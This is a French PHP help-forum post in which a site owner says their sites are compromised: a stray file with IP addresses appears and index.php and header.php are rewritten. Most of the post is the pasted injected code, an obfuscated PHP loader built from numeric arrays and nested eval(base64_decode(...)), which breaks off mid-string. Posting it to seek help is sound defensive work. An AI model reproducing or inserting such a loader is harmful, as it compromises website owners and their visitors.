Forum d'entraide PHPFrance

Bonjour,

J'ai créé ce post car depuis plusieurs mois maintenant j'ai quelque chose de très bizarre qui se passe sur mes sites en php seulement voici le soucis :

Une fichier sans extension sur la racine se créé : N2W3Y0qaFA
Qui contient des IPs puis qui réécris tout les index.php et header.php avec cette fonction cryptée :

<?php
																																																										$YIqZzSptJdMC24YwKiZMzditIHPcT554lc2EMp= array('4403','4420','4399','4410');
	$TpxmSXWacEsyDcrXfPImEfEeWG4wHRjJ1YfPwLcfgr1YRI= array('3557','3572','3559','3555','3574','3559','3553','3560','3575','3568','3557','3574','3563','3569','3568');
	$ZoP7KtuAebUjT7OBdmpk= array('7102','7101','7119','7105','7058','7056','7099','7104','7105','7103','7115','7104','7105');

	$vvbUUA25NpqN5sshBGHfIygUf4J0zFdIujiNnv4s3b8pTQ="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRKa2QyTkdjSEJSVnpsb1YwVTFObGRzYUZKaU1IQkhUMVpTVTFacmNGaFZiRnBMV1d0c2NtRkdWbGRTYTBwdFZteGFUMUpzVm5OUFZVcFRUVVphVUZaclRrdGFSWFJVWWtSa1MxTkdXbTlUVlZGM1dqSk5lbFZ1Ykd0U2VteDZXV3BPYTJKSFRuQmFNblJaVFZVMVIxWlhlR0ZTYkZaell6SnNWRkpzU2xaV1ZWazFWbXhWZDFac1RsbE5SVnBKVld4Vk1WWlZiSE5OU0VKUVRYcENURmxXWkZwYU1IUkVZVWh3YTFORmNETlphazVPWWpCd1NWWnRhRTFSTUhCMVdXcEpOV0p0U2toV2JXeHBUVEZHY0ZNeFRrWlBWa0pZVjIxb2FWTkZOWE5UTVdnMFQwVjBTVlJxUW1waWEwb3lXVE5zYm1FeVVsaFNXRTVLWWxSR05sbHRNVXRrYlZKRVUxaENTbFpFUVRWWGJURkhZekpOZVZaWVFtMVRTR1IyV1hwT1UyVlhUa2hQV0hCTVVURkplRmRXVGpOaFYwMTVaVVJHYW1KclJuQlRNVTVHVDFaQ1dGZHRhR2xUUlRWelV6Rm9ORTlGZEVsVWFrSnFZbXRLTWxremJHNWhNbEpZVWxoT1NtSlVSalpaVm1SV1lWVjBWRkpVYkZGV01YQnZXV3RvVDJKRmRGUmhNSFJzWkROQ2QxZHRiRUppTUd4WVYycEdhV0pWTkhkWlZtTTFaRlpuZVZacVVtaFhSVFIzV1ROc2JtRldUbkZYYkhCcVZtdGFNRmx0TVZOWFJUVkhUMWhrYUZkRmNESlhha2sxWTJ0c2NHRXpRbXhrTTBKMFdrWmpNV0Z0VWtoaVNGcHBZVlZLVEZSdGVITmxSbFpZVFZoV1lWSnRUWGRYUkU1RFkwZE9kRTlYTldsTmJrNTJVekZvZWxNeVRuUldha0pyVjBWd01WTlZaR0ZoUjBwSlZHMTRVR1F6UVRWUk1qRmhUVmRLZEZScVFtaFdlbXd4VTFWb1UxcHNjRWhpU0d4TVVUSjBibHBZWkhkalJuQndVVmM1WVdKc1dqRlhWRTVUWTBkSmVVNVhXbUZYUjJoM1dYcE9VMlZyZEVSVGJuQnNWMFUxYlZkcVNsZE5SbWQ2VlcxNGFWZEZTbTFYYTJSelpWVnNjR0V6UWtwVFNFNU1VMVZPUWxvd2JFaGlSekZLVVRKb1FsbFdhRTlhYlZGNlUyNUNhMUl4V205WFZ6RTBZa1YwU1ZScVZtcE5WR3gxVjJ4b1UxcHRVa2hXYmxKcVVtcHNjbGxXYUVwaU1IUlVZVE5DU2xOSVRtNVpNakZYVFVkU1dWTnVWa3BUUlhCelYxWmtOR1F4YkZsVmJUbE1VMFUwTVZsNlJUVmliSEJaVlcxYWExSXhXakJaTUZrMVlUSkdXVk5YT1V4Vk1uTXpVMVZuZDFNeVdsSmlNbVJLVVRCR2JsbFdaRnBhTUhSRVVtMTRhVmRGU1hkYVZrNXVZVEZuZDFack9WZGlTRTV3Vm10VmVGVlZiSE5OU0VKS1VURnNkRk5WVmtOalIwMTRUMVJPYW1KWGQzZFhiR1JIWVZkS1NGWlhPV3BpVmxwdldXdG9RMkZIVWtoYU1qbExVbXBzUjFaSGVHRlphMnh6VldzMVZsRXdjR3RUTVU1eVkwVnNTV015WkdwaVZsbDNXa1pvUzJSVmJFbFRiWGhhVmpOb00xZFdhRk5pTUhSRVZXMWFVMVpVVmxoV00yeExWbFpTVjFGWGJGbFZNbk16VTFWbmQxTXdiRVJSVjJSS1VqSjRkRk5WVG01aFJuQllUVmhrYTFOSGRIWlRhMWsxVW14U2MxZHRTa3BpUmtwUFZsVldVMU5zVm5CVGJWSk1WVEJHZEZOdGJFTlJWMFpaVkcxYWEwMHdjSGRhUldSWFlVWnNkR1ZIZUV4VFJYQnpWMVprTkdReGJGbFZiVGxNVVRGS2JWVnNWVEZXTVdRMVUyeFdWVlpyU2taVk1WcEtZVlpvVkdFelFreFZNRWt6VTFWb1MySkhVa2xXYm14cFlWVktOVmRzWkVkak1rNUlVbXBDYUZFeVpHNVRhMWsxVW14U2MxZHRTa3BpUmtwUFZsVldVMU5zVm5CVGJWSk1Wa2hPYmxwc1JuWmFNR3hFVVZka2FGWXhiRzVUTUU1SFlrZEtXVkZxUW14Vk1tUnlWMFJDVjFReFduTmpNbXhYVWxaYVQxWlZUa3RhUlhSVVVWY3hTMkZWU2tKWlZtaFBXbTFSZWxOdVFtdFNNVnB2VjFjeE5HSkZkRWxUYlhoYVZqTm9NMWRXYUZOaU1IUkVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1V6Rk9jbG95VmpWUmJteGhWMFpKZUZreU1EQmFNazUwVm0xb2FWTkZTbTlhUldSdVlqQnNSRlZ0V2xOV1ZGWllWak5zUzFaV1NsWk5Wa1pLWWtSQ2QxUXpiRU5QVlU1d1VWZGtTbEV3Um5KYVJXUlhaRWRPU0ZkdVFtbFNNVlUxVlZWb1UySkhTbGxSYmxaYVZucENkbGRFUlRWU01VNVdaVVZhV1UxVWFIcFRWMnhLWTBVNU0ySXlaRXBSTUVadVdWWmtXbG93ZEVaUmJURm9Wak5vYzFkRVNsZE9SMFpaVkdwQ2FtVlhaSEphUldSWFpFZE9TRmR1UW1sU01WWjNVekZPUTA0d1RuQlJWMlJLVVRCR2JsTlZWa05OVjBwMFpVaENhV0pZVG5aVGEyaFRZa2RLV1ZGdE1XaFdNMmh6VXpGU2VsTXdiRVJSVjJSS1VqSjRkRk5WVG05UlYwWlpWRzFhYTAwd2NIZGFSV1JYWVVac2RHVkhlRXhUUlhCelYxWmtOR1F4YkZsVmJUbE1VakZLZDFreU1ERmhSMHBZVmxjNVMxTkdTbk5aYkdoRFlsZEdXR1ZIZUV4Vk1uUjNVekZPUTA0eVRuUldha0pyVjBWd01WTlZhRXRpUm14WVpVaGtXbGRHU25aVE1HUlRZMGRPZEU1WGFHbFdNVloyVTJ0b1UySkhTbGxSYlRGb1ZqTm9jMU14VG5KT01HeEpUVVYwU2xFd1JtNVJNbXhDV2pCc1JGRnFiRVJoVlVadVUxVk9RMk5HY0hCUlZ6bFNVako0TmxkRVRtdGxWMFpaVlcxNFdsWXdjSHBYYkU1dlpWWndXRkp1VG1wU01GbDNXVlZPYjFGWFJsaE9XRUpaVFcxU2MxcEZUbTVoVjFKWlVXNU9hVTFyV25KWFJFNVRaRWRPUjA5WGRHaFhSV3h3VXpGT2NtTkZkRlJSYW1SS1UwVndjMXBGYUZkbFYwcHdVVzVzWVZZd1ducFpNR1JIVFVkR1JHRkZSbWhXZWxaM1YwUkthMkpIVWtSYU1teHJWMFZLZWxscVNrZGhNV2Q2Vlc1U2FsSnFiSEpaVm1oS1lWVjBWR0Y2WkVwVFJFSk1VMVZPUWxvd2JFaGlSekZLVVRKb1FsbFdhRTlhYlZGNlUyNUNhMUl4V205WFZ6RTBZa1YwU1ZOdGVGcFdNMmd6VjFab1UySXdkRWxVYlhocVRUQTFkMWxxU1RGYWJVMTVVbXBLWVZacWJETlhWbWhUWWpCMFJHRXpRa3hWTW5SdVdsaHNRMlZXY0ZsVmFrWnFZbFJTYmxreU1WZGhSMHBKVVcxb2ExSXlaSFpaZWtwWFpXMU5lV0pJV21saVJHdzJWMVpvWVdKR1ozcFJiV2hyVWpKa2RsTXhUbkpPTUd4SlRVVjBTbEV3Um01VFZXUnpZbFZzUkdGRlJtaFhSVFZ0V2tST1MyTkhVa2hXYldoYVlsaG9jMU13YUV0aVJteFlaVWhrV2xkR1NuWlRNR1JUWTBkT2RFNVhhR2xXTVZaMlYwUkZOVkl4VGxabFJWcFpUVlJvZDFNeFRuSmpSV3hKWXpKa2FtSldXWGRhUm1oTFpGVnNTVk50ZUZwV00yZ3pWMVpvVTJJd2RFaFZia0pxWWxSV2IxbHNaRlppTVdkNFQxVmtWRlpZYUVkWFJFVTBZMFYwVldNeVpHMVZWemx1VTFWT1Fsb3lUblJXYWtKclYwVndNVk5WWXpGTlYwcElaSHBrUkdKcVFreFJNakZoVFZkS2RGUnFRbWhXZW13eFUxVmthMkpIVWtkUFZFSlpUV3hLZDFreWR6VmtSbXhaVkc1d1RGRXlkRzVhV0dSMlV6SkdXRmRYWkV4U01XOTRXVzB4VDAxSFJsaFBXRlpaVFd4Wk1GbFdhRTlOUjA0MVdqSnNhazB5ZURaWFJFcHJZa2RTUjA5VVFtRldla1l6VjBSS1UyTkhUbkJUV0VKTVZUQkpNMUV5YkVKYU1HeEVVVzVDWVdGVlJuWlZWV1J6Wld4bmVscEliR2hYUmtwelYxWmtTMk14Y0ZSaFNIQnNWMFUxYlZkcVNsZE5SbWQ2VlcxNGFWZEZTbTFYYTJSelpWVjBSR0V6UWt4Vk1Fa3pVMVZPVTJWV2NGbFViVXBaVlRCRk5WTlZhRXRpUm14WVpVaGtXbGRHU25aVE1HaFBUbGROZUU5WE5XRlhSa3B0V2tWa1YyUkhUa2RQVjNSb1YwVnNkbE14VG5KT01HeEpUVVYwYlZWWE9XNVRWVTVDV2pKR1dGZFhaRXhSTUZweldXeG9RMDFIVmxSYU1uUlpUVVphVUZadGVIcGhWbHBHVFZaR1NtSkVRbmRUVlU1YVlsVnNSbEZ1UW1wTlZHdDZXVEl4YzAxR2NGaFNiV3hwVWpGV2Rsa3lNVmRoUjBwSlVXMW9hMUl5WkhaVGExazFVbXhTYzFkdFNrcGlSa3BQVmxWT1MxcEZkRlJoTTBKS1UwaE9ibE5yYUV0aVIwMTRaRWRTU2xKRVFtNVpNakZYWVVkS1NWRnRhR3RTTW1SMlUydFpOVkpzVW5OWGJVcEtZa1pLVDFaVlRrdGFSWFJWWXpKa2JWVlhPVzVUVlU1Q1dqSkdXRmRYWkV4Uk1GcHpXV3hvUTAxSFZsUmFNblJaVFVaYVVGWnRlSHBoVmxwR1RWWkdVMUpYZUZSVFYzZDNZMFZzUkZkWE1VcFNWVXAzV1hwRk5VMHlUblJpUkVKaFZqQmFjRmxyWkZaaU1rNTBWbTFvYVZORlNtOWFSV1J1WWpCd1IwOVZXbFZpUm5CcFUxZDRVMVJzVmtaVmEzQldZVlZ3YTFNeFRuSmpSV3hKWXpKa1MxTkZjSE5aZWtZd1drVnNSVTFIWkdwaVZscHZXV3RvUTJGSFVraGFNamxLVVRGS2JWVnNWVEZXTVdRMVUyeFdWVlpyU2taVk1WcEtZVlpvVkdGNlpFcFRSRUpNVTFWT1Fsb3diRWhpUnpGS1VUSmtiMWRzWTNoa01sSkpZVEk1UzFKcWJFZFdSM2hoV1d0c2MxVnJXbFZXYTBad1YwWk9jbG93Y0hCWFYyUlNVako0TmxkRVRtdGxWMFpaVlcxNFdsWXdjSHBYYkU1dlpWWndXRkp1VG1wU01GbDNXVlZPYm1FeFozZFdhemxYWWtoT2NGWnJWbGRVYkZaRVUyMVNURlV5ZEhkVFZXaDZXakJ3U1ZOdGVHcE5XRkpyVTFWUmQxb3lUblJXYldocFUwVktiMXBGWkc1aU1HeEVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1ZETnNRMDlWVG5CUlYyUktVVEJHY2xwRlpGZGtSMDVJVjI1Q2FWSXhWVFZWVldoVFlrZEtXVkZ1VmxwV2VrSjJWMFJGTlZJeFRsWmxSVnBaVFZSb2VsTlhiRXBqUlRrellqSmtTbEV3Um01WlZtUmFXakIwUmxGdE1XaFdNMmh6VjBSS1YwNUhSbGxVYWtKcVpWZGtjbHBGWkZka1IwNUlWMjVDYVZJeFZuZFRNVTVEVGpCT2NGRlhaRXBSTUVadVUxVldRMDFYU25SbFNFSnBZbGhPZGxOcmFGTmlSMHBaVVcweGFGWXphSE5UTVZKNlV6QnNSRkZYWkVwU01uaDBVMVZPYjFGWFJsbFViVnByVFRCd2QxcEZaRmRoUm14MFpVZDRURk5GY0hOWFZtUTBaREZzV1ZWdE9VeFNNVXAzV1RJd01XRkhTbGhXVnpsTFUwWktjMWxzYUVOaVYwWllaVWQ0VEZVeWRIZFRNVTVEVGpCd1NWTnRlR3BOV0ZKclUxVlJkMW95VG5SV2JXaHBVMFZLYjFwRlpHNWlNWEJJWWtoc2FXSlZXakJYYkU1dVlUSlNTRlp1VW1wU01YQjNXV3RrVm1ORmRGVmpNbVJ0VlZjNWJsTlZUa0pUTUd4RVVWZGtTbE5FUWt4VFZVNUNXakJzU0dKSE1VcFJNbWhDV1Zab1QxcHRVWHBUYmtKclVqRmFiMWRYTVRSaVJYUkpVMjE0V2xZemFETlhWbWhUWWpCMFJsRnVRbWxpVjNodFYycEtWMDFGZEVSVGFrWnFVak5vTWxkV1pGTmFiVkpJVFZoa1dVMXNTbmRaTW14S1kwVjBWR0V6UWtwVFNFNXVVMnRvUzJKSFRYaGtSMUpLVWtSQ2Jsa3lNVmRoUjBwSlVXMW9hMUl5WkhaVlZXUnpaRmRHVjA5WE5XRlhSa1oyVTFjMVYyUXlTa2hQVjJoaFVtcHJkMWxzYUVOYWJIQklZa2hzU21GWGRIZFVNMnhEVDFWT2NGRlhaRXBSTUVwM1YyMXNRbUl4UmtoaVNIQlpUVEpTTlZsV2FGTmlSbXhZVTI1T1lWVXlhRFZYYkdSSFl6Sk9TRkpxUW1oUk1tZzJWMnhvVDJWdFJsaFBXRlpaVFRBMWIxcEhNVmRhYlU1SVVtcENhRkV5WkhkVE1VNXlZMFZzU1dNeWRHcGlWbG8yVm5wRmQxb3hRbFJSYm14aFZqQmFlbGt3WkVkTlIwWkVZVWh3WVZkRk5UWlpWbU0xWkZabmVsUnRhR3RpVmxwdFdUQmtSMDFIUmtSYU0wSk1Wa2hPYmxwc1JuWmFNR3hFVVZka2FGWXhiRzVUTUZaRFkwZE5lRTlVVG1waVYzZDNWMnhrUjJGWFNraFdWemxxWWxaYWIxbHJhRU5oUjFKSVdqSTVZVkl5ZURWWmJURkhaRVp3VkdGSFdsbE5SbkJMVmtWV1YxcHNhRFZoTTBKTVZUSjBibHBZYkVKaE1rNTBWbTV3V0UxVVFtNVZSazVEWlZad1dGSnVUbXBTTUZsM1dWVk9iMkV5UmxsVGJsWmFWbnBHYzFNd1dUVmFiRXB5WWtVeFUxWnFiRzFUTVU1eVRqQnNTVTFGZEVSaFZVWnVVMVZPUTJWV2NGbFZha1pxWWxSU2JsZFdhRXRsVm14WllrZGFhMVo2Vm5kWk1XaFhZa1YwUkZWdWJHRlhSVEYzVkROa2QwOVZUbTVqUnpGclZucFdjVnBGWkhOa2JVcHdVVzAxWVZkR1NtMVpWRWt4WkcxUmVFOVlRbXBSTW1SM1dsaGtkbUV5UlhsT1dGcHJUVmhTYTFOVlVYZGFNR3h4VkZST1RXRnJiRFpVYkUwd1RWVXhOVTVJYkU1U1JXeHdWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFVsaHdUbEY2VWpOVVIzQktaV3N4TlU1SWFGQlJNR3N6VVRKc1UyTnRTblJQVkU1WVRWUkNibFZHVGtKaFZURlZWRmhrVFdGclJqRlVWM0JPVFRCNGNWTlVRa3BoYms1TVUydGtNR1JYU1hwYVIwcFpWVEJGTlZOVlRrcGxSVFZGWVROV1RsWkdWWGRVUjNCR1RWVTFSRTVJYUZCV1JWWndWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFVsUkdUbFY2VWpWVVdIQmFaRlV4VlZrelZrNVdSVEZ3VkROa2RtRXlSWGxPV0ZwclRWaFNhMU5WVVhkYU1HeHhVbFJHVGxWNlVqVlVXSEJhWkZVeFZWb3pWbEJSTUdzelVUSnNVMk50U25SUFZFNVlUVlJDYmxWR1RrSmhWVEZWV1hwU1RXRnJiRE5VTVUwd1RWVXhjRTVJYkU1V1IyUndWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFVsUk9VRkY2VVhwVVdHc3daVlV4VlZGWVZrNVdSbXcyVTFkd2VsTXdjRWhrU0ZacFRUSlNhVmRHVGtKUFZXeEVVMVJDVDJGVVVqUlVibXN3VFZVMU5VNUlhRTlTUlZad1ZETmtkbUV5UlhsT1dGcHJUVmhTYTFOVlVYZGFNR3h4VlZSS1RXRnJhM2RVYldzd1RsVXhOVTVJYUU1bGEwWndWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFZsaFdUMkZyVmpGVWExSktaRlV4VlZGVVZrcGhiazVNVTJ0a01HUlhTWHBhUjBwWlZUQkZOVk5WVGtwTlZYaHhWMWhvVFdGc1JYaFVSM0JHWlVVeFJGTlVaRVJoVmtwNVdXMHdOVTB4WTNoTlIyUlJWVEJHY0ZReFVrNWtWVEZWV1ROa1RXRnJWalZVTVUwd1RUQTFWRk5VWkVSYU0wSjBXV3BPUzJKR2JGaFViVGxNVWpKU2MxcEZXVFZOUm1kNVZXNUNhbUpFYkRCWFZtaFBaV3QwUkdFeVpGcFhSVEZ1VTJ0b1VtTkhWak5qU0VKaFlWZG9kRmxXWkRSaVJtZDVWbXBTYUZkRk5IZFpNMnh1WVRKU1JFNVZWbFJXYTNCSFZWUkdVMVZHVm5OaVIxcFdUVVphVWxWV1drdFJiRnBHVDFaT1RXRlZjRkJVVjNocVpXeGtWVkZ1YUZwV1ZuQkRVMWRzY21OSFZqTmpSekZwVFRCd2MxZFdaRTlpTUd4RVlVY3hhRll6YUhOVE1FNVRUVVY0Y2xWcmNGWmhNVnBGVm10Vk5WVXhaRmRQVmxKVFZtdEtRMVpYZEVkV1ZsRjRVMWhXU21GNlVqVldibkJQVjJzeFNWSnRhRk5oTUZad1V6Rk9RMkZIVGpWUlYzUnJVMFpHZDFwWVpIWmhNa1Y1VGxoYWEwMVlVbXRUVlZGM1dqSlNTVk51UW1sVk1tUnlXa1ZvVW1ORk9UTmpSR3hFWW1wQ1RGcHNSbmRsVm5CWlZXcEdhbUpVVW01WFZtaExaVlpzV1dKSFdtdFdlbFozV1RGb1YySkZkRVJWYmtwcFlsUnJlbE14VW5wVE1scFNZakIwWVdKc1dqRlhWRTVUWTBkSmVVNUhaR3BOYTFsNVYyeFpOV050U25SUFZFNVpUVzE0TTFNd1RsTmpSMDVFWWtSa1JHRldTbkZaYWtreFRVWndXRTVVUWtwU1JFSnVVMVZrYzJSSFRraGxTRnBoVWpGV2RsWlZWbTlWVm1kM1ZteENWVkV6Wkc1VGEyUnpaREIwVldNd2RHRmlWR3cxVjJ4a1IyRnRSa1JoUnpWaFYwWktiVnBGV1RWaE1rWlpVMjFhYVZZd1dqWlpNMnh1WTBWc1NGSnVjRXBSTVVsM1V6Rm9lbE13Y0VoWFYyUlJWVEJLZEZscVRrTmlSMHB3V2pKMGExRjZWa1pWTVZwTFVteEZlRlZzUWxaaVIzaHRWbFJDVjFWV1JsZFRhMHBYVWxSc1ZGUkhiRXRVTURGeldUTndXRlpGU2pSWFZsWmhVV3RzY0dReWJHdGxWV3gzVkROa2QySlhUa2xXYWtKcVpWZGtjbGR0YkROaE1XdDVUMWhXYTFJeFdqRmFSVTV5VGpCT2RGZHRjR2xTZW13MlYyeE9ibUV4Y0hCaGVtUkVZbXBDVEZwc1JuWlRNWEIxVm01V1drMHhTbmRaYWtrd1dqRk9jVmRzY0dwV2Exb3dXVzB4VTFkRk5VZFBWelZoVjBaS2JWa3lNVmRoUjBwSFQxaENhbEV5WkhkVFZXaDZVekJ3U1ZGdWJHbE5NbWN4VjBSS2IySkdiRmhWYlhocVltc3hibFZHVGtOaFIwNTFVMjFvYkZVeVpIQlZWRUkwVTJ4S1ZrNVdWbGxOUjNoU1UxZHNNMkZXU25KUFZrNVhUVVZhVkZWclZsZFNWV3h3WkRKc1UyRjZiRlJXYWtKSFZURktSbFpyVmxsTlJuQlJWbGRzU21Nd2JISlhiRUpXWWtkU1ExWlhkRk5TYkVwSFQxVmtWVTFWY0cxVk1WcENZVlY0UkZOcmJGZFNiRXBTVjBSQ1QxUldUbFpXYXpsWFVtcHNTMVpWVGtwak1HeHlZVVpXVjFKclNtMVZiWE0xVlRGWmQxSnNUbE5TVmxwR1UxZHNNMkZXVGtkVmJGWldVbXBzU0ZaRVJrdFhSa1pYVTJ0V1UxWldTbTFWYlhNMVZUQnNjR1F5YkZSU2JFcFdWbFZaTlZJeFVYaFRiR2hTVm10d1JsVnNWbE5hYkVweVQxWk9XVTFIZUZKVFYyd3pXakJzY21GR1ZsZFNhMHB0VmxWV1QxcHNWbkpXYXpWVlRWWktSMWRFUWtkU1ZrcEhVMWRzVFZFd2NFcFdhMXBUVlZabmVGRnNUbFZOVjJoaFYwUkNUMVZHVW5KT1ZWcFNUVlpLUzFaRVFUQmhWWGhFVTJ0c1YxSnNTbEpYUkVaaFUyeEdWRk5ZVGtwUk1IQktWbXRhVTFWV1ozaGhSMXBUWVhwc1ZGWnFRa2RWTVVwR1ZtdFdTbUZZWkc1VFYzUnZWbFphUjFGdFdsaFNhbXhJVmtSR1MxZEdSbGRUYTFaVFZsWktiVlZ0Y3pWVk1HeHdaREprU21FeWFGWldhMXBEV214a1IwOVZaRlZOVlhCWlZWWmFTMUpXU2xaVmJWcFRZWHBzVkZkRVFuTlZWV3h3WkRKc1ZGSnNTbFpXVlZrMVYxWm5kMkpGTlZOaGVteFVWbXBDUjFVeFNrZFVWMnhOVVRCd1NsWnJXbE5WVm1kNFlVWk9WVTFYYUdGWFJFSlBWVVpTY2s1VldsSk5Wa3BMVmtSQk1HRlZlRVJUYkdSVVZsVldjRlJGVGtKaFZtUkhUMVZrVlUxVmNGbFZWbHBMVWxaS1ZsVlhiRTFSTUVad1ZqQlpOVkl4VVhoVGJHaFNWbXR3UmxWc1ZsTmFiRXB5VDFaT1NtRlhjek5STWpGaFpHMU9kRlp0YUZwTmJXUjJVMnRvUTJWWFNYcGhSRlpaVFcxb2MxZFdaRk5pUjA1MVZGZGtXbGRGTVc1VGEyaERaVmRKZW1GRVZsbE5iV2h6VjFaa1UySkhUbkJoTUhSc1pETkNkMWR0Ykc5alIwMTZWRzE0YTFFeVpISlhSRVpQVW14V2MxZHJXbFppU0U1eVdUQm9TMlJ0VmtsaVIxcG9VakZhYjFkclpGZGxWbWhVWVRKa1MyRldiRzVaTUdoTFlrWnZlRTlZVWxwWFJrcHhXVlZPYm1GVmQzaE9SemxZWld0V01GUXhXWGhQUm1RMlVsaFNVRlpxUm1sVVZVMTNUbFpvV1dRemFGaGxhMFl3VkRGWmVGbHJNVVJOUkZaWlYwaGtOVll6Y0VKa1JUVkhUVmRLVGxGNlFURlhSbWd6WlZVMVYyTXpaRTFXUmxwclV6Rk9iMWt3ZUhCaFIwcE9VWHBCTVZkR2FEUlphekZVVFVSV1dWWnVUak5VUmxKeldrZGFSVkp0U2s1UmVrRXhWMFphZW1Rd2VGVmlSMUp0VWtWd2FWUlZUWGROUm1oWFl6TmtUVlpIZUd0YWExSktUVlprTmxGWVVrOVdha0ozVXpGb2VtVnRXbFJWV0ZwS1lWaGtibE5yV1RWV1JrcFhVMnhrVTFacmNHbFRhMmhEWlZkSmVtRkVWbGxOYldoelYxWmtVMkpIVG5OTlNFSk1WMGhTTlZkc2FGTk5WMDUwVGtka1MxSnFiRlZWYkZwTFZqRktWMU50U2t0VFJVbzFXV3BPYjA1V1ozbGhSM2hhVmpGS2Mxa3lkM2RPTWxwU1kwZDRhVk5GTlhOVFZXUnpZbFYwU1ZScVFtcGlWM2cyV2tWb1NtSXdiSEJrTW14TlVUQkdjbGRFUms5U2JGWnpWMnRhVm1KSVRuSlpNR2hMWkcxV1NXSkhXbWhTTVZwdlYydGtWMlZXYUZSaE1tUktWa1JCTlZOVlZtRlJiRkpIVkd0YVRGVllRVE5UYTJoRFpWZEplbUZFVmxsTmJXaHpWMVprVTJKSFRuTlBWRUpoVm5wR00xTlZVWGRhTWxKSlUyNUNhVlV5YUc5Wk1qVkxZVWRXVjA5WWNHaFNNbmgwV2tWT2IySkhWa2xSYms1cFRXeEtjMU13VGtwak1HeHdaREprUzFKcWJGVlZiRnBMVmpGS1YxTnRTa3RUUlVvMVdXcE9iMDVXWjNsaFIzaGFWakZLYzFreWQzZGpSWFJVWVhwa1NsRllRbmRYYld4dVlqQndTVkZ1V21wTlZHdDNWMnhqZUdRd2JFVk5SMlJxVFRGS05WbFdhRU5rYlU0MVdqSjBhbE5GY0RKYVZXaHpXbTFHU0ZadGFHRlNNVm8xVjBST1UySkhTbGxSV0U1S1VUQnJNbE5YYkhKalJXeEVVbFJzVVZVd1NraFZWbFkwVmtaS1ZHRXlaRXRUUlVvMVdXcE9iMDVXWjNsaFIzaGFWakZLYzFreWR6Vk5SbkJZVFZoa1NsSkVRbTVaZWs1WFlWZE5lbFZ1YkV4Uk1Vb3pXVEl3TlU1SFZsZFBWemxoVmpCYWNsZHNhRXRhYlZKSVZtNVNhbEV6Wkc1VVZVNHpXakJ3U1ZGdVdtcE5WR3QzVjJ4amVHUXdkRlZqTW1SRVlsZDRkRk13YUVObFZuQllXa2RhYVZZd1dYZFhWRXB1WWpCc2NFOVhWa3hTYms0MFZFWlNjMXBIV2tkak0yaE5Wa2Q0YTFZemNFSmtSVGxYVFZSb1RsWnVUak5VUmxKeldrWmtObEZZVWxCV2FrVTBWRmQ0ZW1Rd2VGVlZiVkpZWld0R01GUXhXWGhQUlRGeFZtMUtUbEY2UVhoWFJrNXlZakZvUkU1SE9WaGxhMFl3VkRGWmVFOUdaRFpTV0ZKUVZtcEdhVlJWVFhkT1ZtaFpaRE5vV0dWclJqQlVNVmw0V1dzeFJFMUVWbGxYU0dRMVZqTndRbVJGTlVkTlYwcE9VWHBCTVZkR2FETmxWVFZYWXpOa1RWWkdXbXRUTVU1elRqQXdlazFIZEUxbFZXeDZVMVZPVTJReVRuUlBWRkpzVm1wc2RsZHNaRWRoTVhCWlUyMWFhMUl4V2pCWk1FNXlXakIwV1ZOdGVHdFRSbG8xV1cxc1FtRXlUa2xUYmxwc1UwZDRiVmxWWkZkaFJuQklWbTVzV1UweFNuTlpiR2hDVGpCT2RVMUZkRzFWV0VJMVYyeG9VMDFYVG5ST1IyUkxVbXBzVlZWc1drdFdNVXBYVTIxS1NtSkZjRWRXUmxVMVZsWktWMDlWU2xOU1ZrcFVVMWQzZDA0d1RuVk5SWFJoWW14YU1WZFVUbE5qUjBsNVRrZGtWR0ZzY0dGWk1WcEhaRWRLZEZWc2FFOVNhbXgxVjJ4b1UxcHRVbGxUYms1TVVUSjNNMU5WUm5aaE1sSlpVMjVPU2xKRVFtNVRWekZ2VFVkU1NWRlVXazFsVkdod1UxVk5NRm93Y0VkUFZsSlRWbXR3V0ZWc1drdFphMnh5WVVaV1YxSnJTbTFWTUZVMVZrWmFSRk50VWtwUmVsSnVVMnRaTlZaR1NsZFRiR1JUVm10d2FWTlhlRXRTYkZaWFZtdGFWazFXU20xV2JGcExVMnRzYzAxRVpFUmlWM2gwVTFWT2IyVnRVa2xUYm1ScFRUQXhkbE5yYUZkbFYwcEVaREpzVVdWVmJIZFRWVTVHVDFaQ1ZGRnRNVnBXTTJnMlYyeE9jMDR3VG5CVmFrWnFZbGhrYmxWR1RrTmxiVkpZVTI1d2ExTkZiSFpUYTJoWFpWZEtSR1F6WkUxVFJUUjNXVEkxUTJSdFRqVmFNblJyVjBWd2VsUkZUa3BNTUd4d1lUTkNVR1F6UVRWUk1qVkxZa2RTU1ZadWJHbGhWVVp5V2tab1MyTXdPVE5qUkd4RVlsWnZlRmx0TVU5TlIwWllUMWhXU2xKWE9IbFdNV2hIVlcxS1dFNVhkRmRsYkVwdFYycEtWMDFHWjNsVWJscHBZbXhLYzFsdE5WTmxhM1JFVlc1Q2FsRXpaRzVUYTJoRFlVWnZlVlpZUW14a00wSjNWMjFzYmxveGNIVldibFphVFRGS2QxbHFTVEZhYkhCWllVaENhazB4U2paVE1FNUxZVzFTV1ZOdVRsbE5iWGd4V1Zab1VtRlZkRlJSV0VKc1pESTVibE5WVGtKYU1IQklWRzA1U2xKRVFtNVhWRTVYWlZkS1IwOVlRbWxpVjNkM1V6Qk9TMkl5VWtsVmJtUlFZVlJvTWxOWGJFSmtWWEJJWWtoa1NsRjZVbTVUVjJzMFlWVnNSRTVIZEdwU01GcDFWMnhPY2s0d1RuQlJWMlJLVVRCS2NWcEdhRXRqTVdkNlZHMTRhMUo2YkROYVJVNXVZVEZyZVZvelRrcFNWVFZYVmxkME5GVkdWa2RWYlZwV1lURmFWbFpzV2t0VU1WcEhVMnRLVldKRk5VaFZiRnBLWXpCc1JWSllRbEJrTWpsdVUxVk9RbG94YTNwV2JteHBVbXBzTmxkc2FGTmtiVTVKVlZjNVMxSXdOWFpVUlU1RFVrWmFWMU5yTVZWTlZVcFdWMFJHVTFOc